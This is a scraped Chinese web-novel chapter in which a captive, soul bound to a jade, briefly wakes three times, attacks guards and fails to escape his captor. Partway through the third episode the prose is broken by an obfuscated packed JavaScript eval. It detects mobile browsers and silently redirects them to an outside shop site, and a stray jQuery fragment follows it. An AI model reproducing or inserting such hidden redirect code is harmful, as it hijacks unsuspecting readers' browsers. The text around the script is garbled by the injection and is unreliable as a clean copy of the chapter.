文趣网 > 其他小说 > 无相人间 > 34. 回光
    腾冲,第一夜。

    无相馆里很安静。

    那盏前朝琉璃灯仍悬在高处,冷光隔着鲛纱落下来,把满室冷玉照得像浸在寒水里。楠木龛立在正中,龛门只留着一线极窄的缝,玉中那道淡得几乎看不清的人影沉在冷青色里,像被封进了很深很深的水底。龛外,张子轩的身体靠在榻边,白色长衫已经换好,袖口金线暗纹在灯下淡得像霜。他闭着眼,呼吸很轻,整个人安静得近乎没有活气。

    言怀璧坐在榻边,看了他很久。

    第一回,是子时三刻。

    那时候馆里刚刚换过灯油,守灯人低着头从榻边退下,脚步声轻得几乎听不见。言怀璧正伸手替张子轩拢好衣襟,指腹刚碰到他颈侧,怀里的人忽然极轻地动了一下。

    只是一下。

    睫毛颤了一瞬,指尖也微微收紧,像沉在深水里的人忽然碰到了一点光。言怀璧的手顿住,垂眼看他。下一刻,张子轩缓缓睁开眼。

    那双眼睛里不再是空的。

    很短。

    短到像琉璃灯被风吹亮的一瞬。

    可那一瞬间,言怀璧清楚地看见了里面的冷意。

    张子轩没有问自己在哪里,也没有问发生了什么。他只是看了言怀璧一眼,目光从他的脸移到门,再落回榻边那只盛药的小铜碗上。几乎就在同时,他指尖动了,极快地扣住铜碗边沿,手腕一翻,碗口朝着言怀璧咽喉砸去。

    可他只醒了几秒。

    铜碗还没脱手,楠木龛里的无相玉便轻轻震了一下。那声音极轻,像水底敲钟,却硬生生把那一点清醒拖了回去。张子轩的手停在半空,指节还保持着发力的姿势,眼里的光却一点点沉了下去。

    铜碗“当”一声落回榻边。

    他重新闭上眼。

    无相馆再次安静下来。

    言怀璧垂眼看着他,半晌,低低笑了一声。

    “原来还会醒。”

    第二回,是第二日清晨。

    天还没亮,腾冲下了一夜细雪,檐角铜铃被风吹得空响。无相馆外的白灯挂了一整排,灯下站着两个守馆人,腰间都别着短刀,低着头,不敢往馆里看。

    张子轩醒来的时候,言怀璧不在。

    这一次,他醒得比上一回久一些。

    先是睫毛微动,随后呼吸骤然乱了一下。那双空茫的眼睛慢慢有了焦点,像一柄刀从水底重新浮上来。他低头看了一眼自己身上的白色长衫,又看见腕上还残留着束缚留下的红痕,神情没有半分变化,只是很轻地吸了一口气。

    他站起来。

    动作有些慢。

    不是因为怕。

    是因为魂与身体被硬生生拆开后,身体像不再完全听他使唤。他走到桌边,用两根手指捻起一枚玉簪。那是言怀璧留在案上的东西,细长,尖利,通体冷白。张子轩看了一眼,毫不犹豫地反手握住,赤着足推门出去。

    门外的守馆人听见动静,刚抬头,喉间便被玉簪刺入半寸。

    张子轩出手仍旧极稳。

    他没有多用一分力,也没有浪费一息时间,另一手夺过短刀,侧身避开第二人的扑杀,刀背压住对方腕骨,顺势一拧,那人闷哼一声跪下去。张子轩抬脚踢开白灯,灯油泼在地上,火苗沿着廊柱烧起一线。他趁火光遮眼,转身便往西侧廊门走。

    他记得方位。

    哪怕只在进馆前扫过一眼,他也记得无相馆的结构。西廊出门,过回廊,绕过水池,再翻过那面青砖墙,就是外院。外院再往南,是腾冲旧街。只要进了街,他就有机会。

    可他刚走到西廊尽头,楠木龛里的无相玉忽然亮了。

    冷青色的光从馆内一寸寸漫出来,像水从门缝里渗出。张子轩脚步一顿,手里的短刀骤然扎进廊柱,才勉强稳住身体。那一瞬间,他像被无数看不见的线从背后拖住,意识往后沉,耳边风声、火声、守馆人的惨叫声全都开始变远。

    他咬紧牙关,没有出声。

    只是抬手,将短刀狠狠掷了出去。

    刀锋擦过赶来的言家护卫,钉进西廊门闩,木闩裂开半截,却没有彻底断。

    还差一点。

    只差一点。

    张子轩往前迈了一步。

    第二步还没落下,眼里的光便再次沉了下去。

    他站在燃起的白灯前,火光映着苍白侧脸,那双眼睛重新变空,手指还保持着要推门的姿势。

    等言怀璧赶到时,西廊已经烧了一半,两个守馆人一个倒在地上,一个捂着断腕跪在角落发抖。张子轩安静站在门前,白色长衫的袖口沾了血,神情却空得像什么都没发生过。

    言怀璧看着那半裂的门闩,脸上的笑意终于淡了些。

    半晌,他走过去,把张子轩手里的玉簪轻轻取下来。

    “你醒得越来越久了。”

    张子轩没有回应。

    言怀璧垂眸替他擦去袖口的血,动作仍旧温柔,只是眼神里第一次多了一点冷。

    “没关系。”

    他说。

    “本座有的是时间。”

    第三回,是第三夜。

    这一回,言怀璧终于没有离开无相馆。

    他似乎已经知道那具身体里偶尔会亮起一线回光,便干脆坐在灯下等。楠木龛被移到榻边,龛门依旧留着那道窄缝,无相玉在黑暗里幽幽发亮。张子轩靠在榻上,白长衫外披了一件极薄的狐裘,像被人精心护着,又像被人彻底困住。

    夜过三更时,他再次睁开眼。

    这一次,醒来的时间更长。

    言怀璧几乎是在他睁眼的一瞬间便笑了。

    “威廉。”

    张子轩看向他。

    那双眼睛冷得像刚从冰下破出来。

    他没有立刻动。

    这一回,他比前两次更冷静。几秒之内,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932472|213645||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他已经看清了屋内所有东西:琉璃灯在上,楠木龛在左,门外两人,窗下有铜锁,言怀璧离他七步,袖中应有暗器,桌上无刀,榻边有灯架,灯架底座可拆。

    言怀璧似乎看出了他的判断,轻声道:“你还在算。”

    张子轩没有回答。

    下一瞬,他猛地抬手,直接掀翻了榻边灯架。

    琉璃灯晃了一下,整间无相馆的光影瞬间乱了。张子轩借着灯影错位,反手拆下灯架底座,金属长杆在他手中一转,直刺言怀璧咽喉。言怀璧后退半步,黑玉扳指撞上杆身,发出极冷一声轻响。

    张子轩没有恋战。

    一击不中,他立刻转身,金属杆横扫打碎窗锁,整个人直接撞向窗棂。木窗碎裂,夜风与雪一起灌进来。外面就是无相馆后院,院墙不高,只要翻过去——

    楠木龛里的无相玉骤然亮到刺眼。

    张子轩身体猛地一僵。

    这一次,比前两次更狠。

    像有人从骨缝里拽住他的魂,硬生生往龛里拖。他手指扣住窗框,指节因为用力而泛白,旧伤在肩头再次裂开,血一点点渗进白色长衫里。

    可他仍旧没有哼一声。

    甚至没有回头看言怀璧。

    他只是死死盯着院墙外那一线夜色。

    那是出口。

    那是外面。

    那是他必须出去的地方。

    言怀璧慢慢走近。

    “你出不去。”

    张子轩终于回头看了他一眼。

    即便意识已经被拖得支离破碎,那一眼仍旧冷得让人后背发寒。

    他声音很低,沙哑,却清楚。

    “下次。”

    言怀璧脚步一顿。

    张子轩盯着他,一字一顿:

    “我会先杀你。”

    说完这句话,他眼里的光终于彻底沉了下去。

    手指从窗框上松开,整个人往后倒下去。言怀璧伸手接住他,怀里的身体重新安静,呼吸很轻,眼睛半阖着,像刚才那个几乎杀出无相馆的人,从来没有醒过。

    窗外风雪灌进来。

    碎裂的木窗还在轻轻晃。

    言怀璧抱着他,站在满地冷光里,很久都没有说话。

    因为他终于明白,无相玉可以把张子轩的魂困进龛里,却困不住那个人骨子里的东西。那一点回光不会长久,却会一次比一次亮;哪怕只有几秒,张子轩也会用那几秒杀人、夺刀、记路、破锁,直到有一日,真的从这座无相馆里杀出去。

    半晌后,言怀璧低头,替怀里的人拂去肩头一点雪。

    动作仍旧温柔。

    声音却冷了下去。

    “那本座就等着。”

    琉璃灯在风里轻轻晃动。

    楠木龛中,那块无相玉幽幽亮了一瞬。

    像水底深处,有一双眼睛。

    从未真正闭上。